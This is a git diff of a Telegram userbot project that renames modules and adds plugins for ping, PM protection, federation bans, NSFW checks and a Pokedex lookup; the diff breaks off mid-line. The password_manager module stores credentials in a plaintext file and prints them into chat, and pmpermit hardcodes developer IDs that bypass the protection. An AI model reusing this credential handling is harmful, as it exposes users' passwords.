b/virtualuserbot/modules/no_spam_plus_devs.py @@ -0,0 +1,99 @@ +import secrets + +from virtualuserbot import sclient +from virtualuserbot.utils import admin_cmd + +json_codes = { + "nsX01": "Pornography - High Risk", + "nsX02": "Spammer - High Risk", + "nsX03": "Spam Adding Users - High Risk", + "nsX04": "Raid Participants - High Risk", + "nsX05": "Licence violation - Low Risk", + "nsX06": "Spam Bot - High Risk", + "nsX07": "Flood - High Risk", + "nsX08": "Malware - High Risk", + "nsX09": "PM Spam - High Risk", + "nsX10": "Power Misuser - Medium Risk", + "nsX11": "Multiple Risks - Extreme Risk", +} + + +@borg.on(admin_cmd(pattern="nspban(?: |$)(.*)")) +async def oki(event): + await event.edit("`Processing...`") + extra = None + args = event.pattern_match.group(1) + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + user = await borg.get_entity(previous_message.sender_id) + extra = event.pattern_match.group(1) + elif args: + args = event.pattern_match.group(1).split(" ", 1) + userz = args[0] + if userz.isnumeric(): + user = int(userz) + else: + try: + userm = await event.client(GetFullUserRequest(userz)) + user = userm.user.id + except: + await event.edit("No User Found.", parse_mode="HTML") + return + if len(args) == 2: + extra = args[1] + if not json_codes.get(extra): + await event.edit("`Please Use Valid Ban Codes.`") + return + if not user: + await event.edit("Reply To User Or Mention a User.") + return + try: + sclient.ban(user, extra) + await borg.send_message( + "nospamplusfed", f"/fban {user} {extra} {json_codes[extra]}" + ) + await event.edit( + f"**User :** `{user}` \n**Reason :** `{extra} {json_codes[extra]}` \n**Banned Sucessfully !**" + ) + except Exception as e: + await event.edit("**Errors : **" + str(e)) + + +@borg.on(admin_cmd(pattern="nspuban(?: |$)(.*)")) +async def oka(event): + await event.edit("`Processing...`") + args = event.pattern_match.group(1) + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + user = await event.client.get_entity(previous_message.sender_id) + elif args: + userz = args + if userz.isnumeric(): + user = int(userz) + else: + try: + userm = await event.client(GetFullUserRequest(userz)) + user = userm.user.id + except: + await event.edit("No User Found.", parse_mode="HTML") + return + if not user: + await event.edit("Reply To User Or Mention a User.") + return + try: + sclient.unban(user) + await borg.send_message("nospamplusfed", f"/unfban {user}") + await event.edit(f"**User :** `{user}` \n**UnBanned Sucessfully !**") + except Exception as e: + await event.edit("**Errors : **" + str(e)) + + +@borg.on(admin_cmd(pattern="generatetoken")) +async def tokens(event): + await event.edit("`Processing...`") + okbabe = secrets.token_urlsafe(16) + try: + sclient.new_token(okbabe) + await event.edit(f"**New Token** \n**Token** : `{okbabe}`") + except Exception as e: + await event.edit("**Errors : **" + str(e)) diff --git a/fridaybot/modules/np.py b/virtualuserbot/modules/np.py similarity index 90% rename from fridaybot/modules/np.py rename to virtualuserbot/modules/np.py index b8621f9c..5923ef22 100644 --- a/fridaybot/modules/np.py +++ b/virtualuserbot/modules/np.py @@ -7,8 +7,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("nope")) diff --git a/virtualuserbot/modules/nsfw.py b/virtualuserbot/modules/nsfw.py new file mode 100644 index 00000000..6c0bd65f --- /dev/null +++ b/virtualuserbot/modules/nsfw.py @@ -0,0 +1,100 @@ +# Copyright (C) Midhun KM 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +import os + +import requests +from pornhub_api import PornhubApi +from telethon.tl.types import MessageMediaPhoto +from uniborg.util import friday_on_cmd + +from virtualuserbot import CMD_HELP, pro +from virtualuserbot.utils import admin_cmd, friday_on_cmd, sudo_cmd + +if pro == "True": + + @friday.on(friday_on_cmd(pattern=r"nsfw")) + @friday.on(sudo_cmd(pattern=r"nsfw", allow_sudo=True)) + async def nsfw(event): + url = "https://nsfw-categorize.it/api/upload" + await event.edit("`Processing..`") + sed = await event.get_reply_message() + photo = None + sedpath = "./fridaydevs/" + if sed and sed.media: + if isinstance(sed.media, MessageMediaPhoto): + photo = await borg.download_media(sed.media, sedpath) + elif "image" in sed.media.document.mime_type.split("/"): + photo = await borg.download_media(sed.media, sedpath) + else: + await event.edit("Reply To Image") + return + if photo: + files = {"image": (f"{photo}", open(f"{photo}", "rb"))} + r = requests.post(url, files=files).json() + if r["status"] == "OK": + await event.edit( + "This image is classified as " + str(r["data"]["classification"]) + ) + if os.path.exists(photo): + os.remove(photo) + else: + await event.edit("Response UnsucessFull. Try Again.") + if os.path.exists(photo): + os.remove(photo) + + @friday.on(admin_cmd(pattern="phs (.*)")) + async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + api = PornhubApi() + data = api.search.search(input_str, ordering="mostviewed") + ok = 1 + oik = "" + for vid in data.videos: + if ok <= 5: + oik += f""" + Video title:- {vid.title} + Video link:- https://www.pornhub.com/view_video.php?viewkey={vid.video_id} + """ + ok = ok + 1 + else: + pass + + oiko = ( + "Links Generated Successfully" + + "\n" + + "Search Query:- " + + input_str + + "\n" + + oik + ) + + await borg.send_message( + event.chat_id, + oiko, + parse_mode="HTML", + ) + await event.delete() + + +CMD_HELP.update( + { + "nsfw": "**NSFW**\ +\n\n ** A PRO PLUGIN **\ +\n\n**Syntax : **`.nsfw `\ +\n**Usage :** Checks if the replyed image is nsfw or not.\ +\n\n**Syntax : **`.phs `\ +\n**Usage :** Searches PornHub Website With Given Query." + } +) diff --git a/fridaybot/modules/nsfwdetect.py b/virtualuserbot/modules/nsfwdetect.py similarity index 95% rename from fridaybot/modules/nsfwdetect.py rename to virtualuserbot/modules/nsfwdetect.py index 371cb844..0bf9b5dd 100644 --- a/fridaybot/modules/nsfwdetect.py +++ b/virtualuserbot/modules/nsfwdetect.py @@ -5,8 +5,9 @@ import requests +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, sudo_cmd -from fridaybot import CMD_HELP @bot.on(admin_cmd(pattern="detect$", outgoing=True)) diff --git a/fridaybot/modules/ocr.py b/virtualuserbot/modules/ocr.py similarity index 94% rename from fridaybot/modules/ocr.py rename to virtualuserbot/modules/ocr.py index 38c609aa..f837760e 100644 --- a/fridaybot/modules/ocr.py +++ b/virtualuserbot/modules/ocr.py @@ -7,8 +7,8 @@ import requests -from fridaybot import CMD_HELP, OCR_SPACE_API_KEY, TEMP_DOWNLOAD_DIRECTORY, bot -from fridaybot.utils import register +from virtualuserbot import CMD_HELP, OCR_SPACE_API_KEY, TEMP_DOWNLOAD_DIRECTORY, bot +from virtualuserbot.utils import register async def ocr_space_file( diff --git a/fridaybot/modules/ok.py b/virtualuserbot/modules/ok.py similarity index 91% rename from fridaybot/modules/ok.py rename to virtualuserbot/modules/ok.py index 65b50ff8..7feb16df 100644 --- a/fridaybot/modules/ok.py +++ b/virtualuserbot/modules/ok.py @@ -7,8 +7,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("(.*)")) diff --git a/fridaybot/modules/oldgdrive.py b/virtualuserbot/modules/oldgdrive.py similarity index 99% rename from fridaybot/modules/oldgdrive.py rename to virtualuserbot/modules/oldgdrive.py index 99542e6a..fa659a26 100644 --- a/fridaybot/modules/oldgdrive.py +++ b/virtualuserbot/modules/oldgdrive.py @@ -88,6 +88,7 @@ async def _(event): http = authorize(G_DRIVE_TOKEN_FILE, storage) f = open(G_DRIVE_TOKEN_FILE, "r") token_file_data = f.read() + event.edit("`Please check Log Group`") await event.client.send_message( int(Var.PRIVATE_GROUP_ID), "Please add Var AUTH_TOKEN_DATA with the following as the value:\n\n`" diff --git a/fridaybot/modules/os.py b/virtualuserbot/modules/os.py similarity index 99% rename from fridaybot/modules/os.py rename to virtualuserbot/modules/os.py index e894a70f..369298a2 100644 --- a/fridaybot/modules/os.py +++ b/virtualuserbot/modules/os.py @@ -14,7 +14,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/fridaybot/modules/owm.py b/virtualuserbot/modules/owm.py similarity index 92% rename from fridaybot/modules/owm.py rename to virtualuserbot/modules/owm.py index 4b6363fb..1e5d896e 100644 --- a/fridaybot/modules/owm.py +++ b/virtualuserbot/modules/owm.py @@ -13,9 +13,9 @@ from pytz import country_timezones as c_tz from pytz import timezone as tz -from fridaybot import CMD_HELP -from fridaybot import OPEN_WEATHER_MAP_APPID as OWM_API -from fridaybot.events import errors_handler, register +from virtualuserbot import CMD_HELP +from virtualuserbot import OPEN_WEATHER_MAP_APPID as OWM_API +from virtualuserbot.utils import friday_on_cmd # ===== CONSTANT ===== DEFCITY = "Ahmedabad" @@ -23,7 +23,7 @@ # ==================== async def get_tz(con): - """ Get time zone of the given country. """ + """Get time zone of the given country.""" """ Credits: @aragon12 and @zakaryan2004. """ for c_code in c_n: if con == c_n[c_code]: @@ -35,10 +35,9 @@ async def get_tz(con): return -@register(outgoing=True, pattern="^.weather(?: |$)(.*)") -@errors_handler +@friday.on(friday_on_cmd(pattern="weather(?: |$)(.*)")) async def get_weather(weather): - """ For .weather command, gets the current weather of a city. """ + """For .weather command, gets the current weather of a city.""" if not OWM_API: await weather.edit("`Get an API key from` https://openweathermap.org/ `first.`") @@ -138,10 +137,9 @@ def sun(unix): ) -@register(outgoing=True, pattern="^.setcity(?: |$)(.*)") -@errors_handler +@friday.on(friday_on_cmd(pattern="setcity(?: |$)(.*)")) async def set_default_city(city): - """ For .ctime command, change the default fridaybot country for date and time commands. """ + """For .ctime command, change the default virtualuserbot country for date and time commands.""" if not OWM_API: await city.edit("`Get an API key from` https://openweathermap.org/ `first.`") diff --git a/fridaybot/modules/padmin.py b/virtualuserbot/modules/padmin.py similarity index 97% rename from fridaybot/modules/padmin.py rename to virtualuserbot/modules/padmin.py index 55ea9f9a..99e5a0cc 100644 --- a/fridaybot/modules/padmin.py +++ b/virtualuserbot/modules/padmin.py @@ -8,7 +8,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/fridaybot/modules/password_manager.py b/virtualuserbot/modules/password_manager.py similarity index 68% rename from fridaybot/modules/password_manager.py rename to virtualuserbot/modules/password_manager.py index 3afc3b46..9ea8ac92 100644 --- a/fridaybot/modules/password_manager.py +++ b/virtualuserbot/modules/password_manager.py @@ -1,42 +1,34 @@ import os.path -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from asyncio import wait -from telethon import events -import zipfile - +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd sedpath = "./chsaiujwal/" if not os.path.isdir(sedpath): os.makedirs(sedpath) - @friday.on(friday_on_cmd("savepass ?(.*)")) @friday.on(sudo_cmd("savepass ?(.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return - file_name = "buffer.zip" input_str = event.pattern_match.group(1) ujwal = input_str.split(":") - usermail = (ujwal[0]) - passwd = (ujwal[1]) - webo = (ujwal[2]) + usermail = ujwal[0] + passwd = ujwal[1] + webo = ujwal[2] if os.path.exists("./chsaiujwal/info.pablo"): - file = open("./chsaiujwal/info.pablo", 'a') + file = open("./chsaiujwal/info.pablo", "a") else: - file = open("./chsaiujwal/info.pablo", 'x') + file = open("./chsaiujwal/info.pablo", "x") file.close() - file = open("./chsaiujwal/info.pablo", 'a') - - + file = open("./chsaiujwal/info.pablo", "a") + userName = usermail password = passwd website = webo - usrnm = "UserName: " + userName + "\n" pwd = "Password: " + password + "\n" web = "Website: " + website + "\n" @@ -49,20 +41,22 @@ async def _(event): file.write("\n") file.close await event.edit( - f"Password Saved Successfully", parse_mode="HTML",) - + f"Password Saved Successfully", + parse_mode="HTML", + ) @friday.on(friday_on_cmd(pattern=r"viewpass")) async def hi(event): if event.fwd_from: return - file = open('./chsaiujwal/info.pablo', 'r') + file = open("./chsaiujwal/info.pablo", "r") content = file.read() file.close() await event.edit( - f"Here are your Saved Passwords\n{content}", parse_mode="HTML",) - + f"Here are your Saved Passwords\n{content}", + parse_mode="HTML", + ) CMD_HELP.update( diff --git a/fridaybot/modules/password_tools.py b/virtualuserbot/modules/password_tools.py similarity index 96% rename from fridaybot/modules/password_tools.py rename to virtualuserbot/modules/password_tools.py index dd16122d..49a62ecd 100644 --- a/fridaybot/modules/password_tools.py +++ b/virtualuserbot/modules/password_tools.py @@ -18,8 +18,8 @@ from password_strength import PasswordStats from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="passcheck (.*)")) diff --git a/fridaybot/modules/paste.py b/virtualuserbot/modules/paste.py similarity index 98% rename from fridaybot/modules/paste.py rename to virtualuserbot/modules/paste.py index b76b22fb..679c692e 100644 --- a/fridaybot/modules/paste.py +++ b/virtualuserbot/modules/paste.py @@ -8,7 +8,7 @@ import requests from uniborg.util import friday_on_cmd, sudo_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP logging.basicConfig( format="[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s", level=logging.WARNING diff --git a/virtualuserbot/modules/pdf2docx.py b/virtualuserbot/modules/pdf2docx.py new file mode 100644 index 00000000..b2a76320 --- /dev/null +++ b/virtualuserbot/modules/pdf2docx.py @@ -0,0 +1,42 @@ +import os + +from pdf2docx import parse + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd + +if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + + +@friday.on(friday_on_cmd(pattern=r"pdf2docx")) +async def hmm(event): + if not event.reply_to_msg_id: + await event.edit("Reply to any Pdf File.") + return + await event.edit("hmm... Please Wait...🚶") + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + await event.edit("hmm... Please Wait..") + pdf_file = starky + docx_file = "./virtualuserbot/DOWNLOADS/Infinity_Bots.docx" + parse(pdf_file, docx_file, start=0, end=None) + await borg.send_file( + event.chat_id, + docx_file, + caption=f"*PDF Converted Into Docx by VirtualUserbot. Credits to @FRIDAYOT.", + ) + os.remove(pdf_file) + os.remove(docx_file) + await event.delete() + + +CMD_HELP.update( + { + "fileTools": "**File Tools**\ +\n\n**Syntax : **`.pdf2docx `\ +\n**Usage :** Converts Given Pdf Into Docx.\ +\n\n**Syntax : **`.p2dcl `\ +\n**Usage :** Converts All The Pdf's From Channel Into Docx." + } +) diff --git a/fridaybot/modules/phonecontrol.py b/virtualuserbot/modules/phonecontrol.py similarity index 100% rename from fridaybot/modules/phonecontrol.py rename to virtualuserbot/modules/phonecontrol.py diff --git a/fridaybot/modules/phub.py b/virtualuserbot/modules/phub.py similarity index 100% rename from fridaybot/modules/phub.py rename to virtualuserbot/modules/phub.py diff --git a/fridaybot/modules/pin_message.py b/virtualuserbot/modules/pin_message.py similarity index 91% rename from fridaybot/modules/pin_message.py rename to virtualuserbot/modules/pin_message.py index 0f00e21c..f2d4c956 100644 --- a/fridaybot/modules/pin_message.py +++ b/virtualuserbot/modules/pin_message.py @@ -2,8 +2,8 @@ Syntax: .cpin [LOUD]""" from telethon.tl import functions -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("cpin ?(.*)")) diff --git a/virtualuserbot/modules/ping.py b/virtualuserbot/modules/ping.py new file mode 100644 index 00000000..dac75ec7 --- /dev/null +++ b/virtualuserbot/modules/ping.py @@ -0,0 +1,99 @@ +import time +from datetime import datetime + +from virtualuserbot import CMD_HELP, Lastupdate, lang +from virtualuserbot.utils import edit_or_reply, friday_on_cmd + +if lang == "si": + + def get_readable_time(seconds: int) -> str: + count = 0 + ping_time = "" + time_list = [] + time_suffix_list = ["s", "m", "h", "days"] + + while count < 4: + count += 1 + if count < 3: + remainder, result = divmod(seconds, 60) + else: + remainder, result = divmod(seconds, 24) + if seconds == 0 and remainder == 0: + break + time_list.append(int(result)) + seconds = int(remainder) + + for x in range(len(time_list)): + time_list[x] = str(time_list[x]) + time_suffix_list[x] + if len(time_list) == 4: + ping_time += time_list.pop() + ", " + + time_list.reverse() + ping_time += ":".join(time_list) + + return ping_time + + @friday.on(friday_on_cmd(pattern="ping$")) + async def _(event): + starkislub = await edit_or_reply(event, "`Pong !`") + if event.fwd_from: + return + start = datetime.now() + end = datetime.now() + ms = (end - start).microseconds / 1000 + uptime = get_readable_time((time.time() - Lastupdate)) + await starkislub.edit( + f"**🙈වැඩ වැඩ මහත්තයෝ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" + ) + + +else: + + def get_readable_time(seconds: int) -> str: + count = 0 + ping_time = "" + time_list = [] + time_suffix_list = ["s", "m", "h", "days"] + + while count < 4: + count += 1 + if count < 3: + remainder, result = divmod(seconds, 60) + else: + remainder, result = divmod(seconds, 24) + if seconds == 0 and remainder == 0: + break + time_list.append(int(result)) + seconds = int(remainder) + + for x in range(len(time_list)): + time_list[x] = str(time_list[x]) + time_suffix_list[x] + if len(time_list) == 4: + ping_time += time_list.pop() + ", " + + time_list.reverse() + ping_time += ":".join(time_list) + + return ping_time + + @friday.on(friday_on_cmd(pattern="ping$")) + async def _(event): + starkislub = await edit_or_reply(event, "`Pong !`") + if event.fwd_from: + return + start = datetime.now() + end = datetime.now() + ms = (end - start).microseconds / 1000 + uptime = get_readable_time((time.time() - Lastupdate)) + await starkislub.edit( + f"**🙈I'm Online, Master ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" + ) + + +CMD_HELP.update( + { + "ping": "**Ping**\ +\n\n**Syntax : **`.pin`\ +\n**Usage :** Get uptime and speed of your bot." + } +) diff --git a/fridaybot/modules/plane.py b/virtualuserbot/modules/plane.py similarity index 96% rename from fridaybot/modules/plane.py rename to virtualuserbot/modules/plane.py index 0d528b25..9cc54767 100644 --- a/fridaybot/modules/plane.py +++ b/virtualuserbot/modules/plane.py @@ -3,7 +3,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.plane", outgoing=True)) diff --git a/virtualuserbot/modules/pmpermit.py b/virtualuserbot/modules/pmpermit.py new file mode 100644 index 00000000..541e23ec --- /dev/null +++ b/virtualuserbot/modules/pmpermit.py @@ -0,0 +1,280 @@ +import asyncio +import io +import os + +from telethon import events, functions +from telethon.tl.functions.users import GetFullUserRequest + +from virtualuserbot import ALIVE_NAME, CUSTOM_PMPERMIT, lang +from virtualuserbot.Configs import Config +from virtualuserbot.utils import friday_on_cmd + +from .sql_helper import pmpermit_sql as pmpermit_sql + +PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) +if PMPERMIT_PIC is None: + WARN_PIC = "https://telegra.ph/file/4e1364fb18f899ad47dec.png" +else: + WARN_PIC = PMPERMIT_PIC + +PM_WARNS = {} +PREV_REPLY_MESSAGE = {} + +PM_ON_OFF = Config.PM_DATA + +DEFAULTUSER = ( + str(ALIVE_NAME) if ALIVE_NAME else "Set ALIVE_NAME in config vars in Heroku" +) +CUSTOM_MIDDLE_PMP = ( + str(CUSTOM_PMPERMIT) if CUSTOM_PMPERMIT else f"Protection By {DEFAULTUSER} ❤️" +) + +if lang == "si": + USER_BOT_WARN_ZERO = ( + "ඔයා මගේ මාස්ටර් ගෙ Inbox එකට Spam ගහන්න හදපු නිසා මම ඔයාව Block කරා" + ) +else: + USER_BOT_WARN_ZERO = "You Tried to Spam on my Master's Inbox.. So I Blocked you." + +botisnoob = Var.TG_BOT_USER_NAME_BF_HER +devs_id = [1141839926, 1263617196, 573738900, 1315076555] +USER_BOT_NO_WARN = ( + "**Hello, This is My Master's PM Protection Service ⚠️**\n\n" + f"`My Master {DEFAULTUSER} is Busy Right Now !` \n" + "**I Request You To Choose A Reason You Have Came For** 👀 \n\n" + f"**{CUSTOM_MIDDLE_PMP}**" +) +if PM_ON_OFF != "DISABLE": + + @borg.on(events.NewMessage(outgoing=True)) + async def auto_approve_for_out_going(event): + if event.fwd_from: + return + if not event.is_private: + return + chat_ids = event.chat_id + sender = await event.client(GetFullUserRequest(await event.get_input_chat())) + first_name = sender.user.first_name + if chat_ids == bot.uid: + return + if sender.user.bot: + return + if sender.user.verified: + return + if PM_ON_OFF == "DISABLE": + return + if not pmpermit_sql.is_approved(event.chat_id): + if not event.chat_id in PM_WARNS: + pmpermit_sql.approve(event.chat_id, "outgoing") + bruh = "AutoApproved [{}](tg://user?id={}) Due To Out Going Message !".format( + first_name, event.chat_id + ) + rko = await borg.send_message(event.chat_id, bruh) + await asyncio.sleep(3) + await rko.delete() + + @borg.on(friday_on_cmd(pattern="(a|approve)$")) + async def approve(event): + if event.fwd_from: + return + if event.is_private: + replied_user = await event.client( + GetFullUserRequest(await event.get_input_chat()) + ) + firstname = replied_user.user.first_name + if not pmpermit_sql.is_approved(event.chat_id): + if event.chat_id in PM_WARNS: + del PM_WARNS[event.chat_id] + if event.chat_id in PREV_REPLY_MESSAGE: + await PREV_REPLY_MESSAGE[event.chat_id].delete() + del PREV_REPLY_MESSAGE[event.chat_id] + pmpermit_sql.approve(event.chat_id, "Approved Another Nibba") + await event.edit( + "Approved to pm [{}](tg://user?id={})".format( + firstname, event.chat_id + ) + ) + await asyncio.sleep(3) + await event.delete() + elif pmpermit_sql.is_approved(event.chat_id): + sed = await event.edit("`This User Already Approved.`") + await asyncio.sleep(3) + await sed.delete() + elif event.is_group: + reply_s = await event.get_reply_message() + if not reply_s: + await event.edit("`Reply To User To Approve Him !`") + return + if not pmpermit_sql.is_approved(reply_s.sender_id): + replied_user = await event.client(GetFullUserRequest(reply_s.sender_id)) + firstname = replied_user.user.first_name + pmpermit_sql.approve(reply_s.sender_id, "Approved Another Nibba") + await event.edit( + "Approved to pm [{}](tg://user?id={})".format( + firstname, reply_s.sender_id + ) + ) + await asyncio.sleep(3) + await event.delete() + elif pmpermit_sql.is_approved(reply_s.sender_id): + await event.edit("`User Already Approved !`") + await event.delete() + + @borg.on(friday_on_cmd(pattern="block$")) + async def approve_p_m(event): + if event.fwd_from: + return + replied_user = await event.client( + GetFullUserRequest(await event.get_input_chat()) + ) + firstname = replied_user.user.first_name + if event.is_private: + if pmpermit_sql.is_approved(event.chat_id): + pmpermit_sql.disapprove(event.chat_id) + await event.edit( + "Blocked [{}](tg://user?id={})".format(firstname, event.chat_id) + ) + await borg(functions.contacts.BlockRequest(event.chat_id)) + + @borg.on(friday_on_cmd(pattern="(da|disapprove)$")) + async def dapprove(event): + if event.fwd_from: + return + if event.is_private: + replied_user = await event.client( + GetFullUserRequest(await event.get_input_chat()) + ) + firstname = replied_user.user.first_name + if pmpermit_sql.is_approved(event.chat_id): + pmpermit_sql.disapprove(event.chat_id) + await event.edit( + "Disapproved User [{}](tg://user?id={})".format( + firstname, event.chat_id + ) + ) + await asyncio.sleep(3) + await event.delete() + elif not pmpermit_sql.is_approved(event.chat_id): + led = await event.edit( + "`This User Is Not Even Approved To Disapprove !`" + ) + await asyncio.sleep(3) + await led.delete() + elif event.is_group: + reply_s = await event.get_reply_message() + if not reply_s: + await event.edit("`Reply To User To DisApprove Him !`") + return + if pmpermit_sql.is_approved(reply_s.sender_id): + replied_user = await event.client(GetFullUserRequest(reply_s.sender_id)) + firstname = replied_user.user.first_name + pmpermit_sql.disapprove(reply_s.sender_id) + await event.edit( + "Disapproved User [{}](tg://user?id={})".format( + firstname, reply_s.sender_id + ) + ) + await asyncio.sleep(3) + await event.delete() + elif not pmpermit_sql.is_approved(reply_s.sender_id): + await event.edit("`User Even Not Approved !`") + await event.delete() + + @borg.on(friday_on_cmd(pattern="listapproved$")) + async def approve_p_m(event): + if event.fwd_from: + return + approved_users = pmpermit_sql.get_all_approved() + APPROVED_PMs = "Current Approved PMs\n" + if len(approved_users) > 0: + for a_user in approved_users: + if a_user.reason: + APPROVED_PMs += f"👉 [{a_user.chat_id}](tg://user?id={a_user.chat_id}) for {a_user.reason}\n" + else: + APPROVED_PMs += ( + f"👉 [{a_user.chat_id}](tg://user?id={a_user.chat_id})\n" + ) + else: + APPROVED_PMs = "no Approved PMs (yet)" + if len(APPROVED_PMs) > 4095: + with io.BytesIO(str.encode(APPROVED_PMs)) as out_file: + out_file.name = "approved.pms.text" + await event.client.send_file( + event.chat_id, + out_file, + force_document=True, + allow_cache=False, + caption="Current Approved PMs", + reply_to=event, + ) + await event.delete() + else: + await event.edit(APPROVED_PMs) + + @borg.on(events.NewMessage(incoming=True)) + async def on_new_private_message(event): + if event.sender_id == bot.uid: + return + if Var.PRIVATE_GROUP_ID is None: + await borg.send_message( + bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit" + ) + return + if not event.is_private: + return + message_text = event.message.raw_text + chat_ids = event.sender_id + if USER_BOT_NO_WARN == message_text: + return + # low Level Hacks + if event.sender_id == event.chat_id: + pass + else: + return + sender = await event.client(GetFullUserRequest(await event.get_input_chat())) + if chat_ids == bot.uid: + return + if sender.user.bot: + return + if event.sender_id in devs_id: + return + if sender.user.verified: + return + if PM_ON_OFF == "DISABLE": + return + if pmpermit_sql.is_approved(chat_ids): + return + if not pmpermit_sql.is_approved(chat_ids): + await do_pm_permit_action(chat_ids, event) + + async def do_pm_permit_action(chat_ids, event): + if chat_ids not in PM_WARNS: + PM_WARNS.update({chat_ids: 0}) + if PM_WARNS[chat_ids] == 3: + r = await event.reply(USER_BOT_WARN_ZERO) + await asyncio.sleep(3) + await event.client(functions.contacts.BlockRequest(chat_ids)) + if chat_ids in PREV_REPLY_MESSAGE: + await PREV_REPLY_MESSAGE[chat_ids].delete() + PREV_REPLY_MESSAGE[chat_ids] = r + the_message = "" + the_message += "#BLOCKED_PMs\n\n" + the_message += f"[User](tg://user?id={chat_ids}): {chat_ids}\n" + the_message += f"Message Counts: {PM_WARNS[chat_ids]}\n" + try: + await borg.send_message( + entity=Var.PRIVATE_GROUP_ID, + message=the_message, + link_preview=False, + silent=True, + ) + return + except BaseException: + return + botusername = Var.TG_BOT_USER_NAME_BF_HER + tap = await bot.inline_query(botusername, USER_BOT_NO_WARN) + sed = await tap[0].click(event.chat_id) + PM_WARNS[chat_ids] += 1 + if chat_ids in PREV_REPLY_MESSAGE: + await PREV_REPLY_MESSAGE[chat_ids].delete() + PREV_REPLY_MESSAGE[chat_ids] = sed diff --git a/virtualuserbot/modules/pokedex.py b/virtualuserbot/modules/pokedex.py new file mode 100644 index 00000000..75e07ae9 --- /dev/null +++ b/virtualuserbot/modules/pokedex.py @@ -0,0 +1,129 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +from pokedex import pokedex + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="pokedex (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + pokedx = pokedex.Pokedex() + pokemen = pokedx.get_pokemon_by_name(input_str) + pokemon = pokemen[0] + name = str(pokemon.get("name")) + number = str(pokemon.get("number")) + species = str(pokemon.get("species")) + typo = pokemon.get("types") + types = "" + for tu in typo: + types += str(tu) + ", " + + lol = pokemon.get("abilities") + lmao = lol.get("normal") + ok = "" + for ty in lmao: + ok = str(ty) + ", " + + kk = lol.get("hidden") + hm = "" + for pq in kk: + hm += str(pq) + ", " + hell = pokemon.get("eggGroups") + uio = "" + for x in hell: + uio += str(x) + ", " + + height = pokemon.get("height") + weight = pokemon.get("weight") + yes = pokemon.get("family") + Id = str(yes.get("id")) + evo = str(yes.get("evolutionStage")) + pol = yes.get("evolutionLine") + xy = "" + for p in pol: + xy += str(p) + ", " + + start = pokemon.get("starter") + if start == False: + start = "No" + elif start == True: + start = "True" + else: + pass + + leg = pokemon.get("legendary") + + if leg == False: + leg = "No" + elif leg == True: + leg = "True" + else: + pass + + myt = pokemon.get("mythical") + if myt == False: + myt = "No" + elif myt == True: + myt = "True" + else: + pass + ultra = pokemon.get("ultraBeast") + + if ultra == False: + ultra = "No" + elif ultra == True: + ultra = "True" + else: + pass + + megA = pokemon.get("mega") + + if megA == False: + megA = "No" + elif megA == True: + megA = "True" + else: + pass + + gEn = pokemon.get("gen") + link = pokemon.get("sprite") + des = pokemon.get("description") + + # hope = await borg(event.chat_id, link) + caption = f"Pokemon Information Gathered Successfully\n\n\nName:- {name}\nNumber:- {number}\nSpecies:- {species}\nType:- {types}\n\nAbilities\nNormal Abilities:- {ok}\nHidden Abilities:- {hm}\nEgg Group:- {uio}\nHeight:- {height}\nWeight:- 